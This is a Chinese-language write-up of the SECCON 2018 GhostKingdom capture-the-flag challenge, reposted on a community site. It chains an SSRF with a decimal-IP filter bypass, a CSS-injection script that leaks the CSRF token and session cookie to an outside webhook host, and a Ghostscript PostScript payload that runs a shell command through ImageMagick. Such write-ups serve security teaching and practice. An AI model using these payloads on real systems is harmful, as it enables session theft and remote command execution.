SECCON 2018 GhostKingdom WrtieUp

题目信息

进入网站后注册用户,登录界面如下:

登录的请求为GET型。

登陆后主界面如下:

Message to admin,用于给管理员发送信息,包含Normal和Emergency模式,普通模式下css参数为空,标签无颜色。

在紧急模式下,URL会增加css参数的值,存在CSS注入,并且为base64编码,标签添加CSS样式,标签变红。

提交表单页面的的csrf令牌和用户的cookie相同。

Take a screenshot,根据链接进行截屏操作。

Upload image,只有本地登录的用户才能使用此功能。

解题思路

首先本地登录账户,激活Upload image,再进一步操作。

Take a screenshot处存在SSRF漏洞,我们可以发送登录请:

并且我们发现能够登陆成功,尝试使用本地登录,发现进行了过滤。

http://127.0.0.1/?user=rai4over&pass=test123&action=login

这里我们直接转化IP地址为10进制,成功绕过过滤,激活Upload image功能。

截屏处登陆后,本地账户会话状态会在截屏功能一直维持,我们可以带着状态访问其他页面。

想办法获得这个登陆这个本地账户,也就是获得本地账户的cookie,我们就能轻松使用Upload image功能。

根据csrf令牌等于cookie的条件,并且该页面css参数存在css注入,我们可以在发送信息页面窃取csrf令牌,获得cookie。

脚本如下:

import base64

import string

import urllib

string_list = string.ascii_lowercase + string.digits

css = ""

for x in string_list:

css += """input[name="csrf"][value^="9bbc0ec46162afe2aaf796"] {{

background: url(https://webhook.site/6aca0f2a-f21b-4f56-9c12-88f72c4e238a/9bbc0ec46162afe2aaf796);

}}""".format(s1=x, s2=x)

css = urllib.quote(base64.b64encode(css))

URL = "http://2130706433/?msg=11&action=msgadm2&css=" + css

print(URL)

最终获得cookie为9bbc0ec46162afe2aaf796

成功登录本地账户

进入图片上传模块,上传图片后发现后有转换图片格式的功能

ImageMagick命令执行漏洞,设置上传内容,然后转换图片格式即可执行命令。

%!PS

userdict /setpagedevice undef

legal

{ null restore } stopped { pop } if

legal

mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

Flag为SECCON

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181113G0HGEK00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券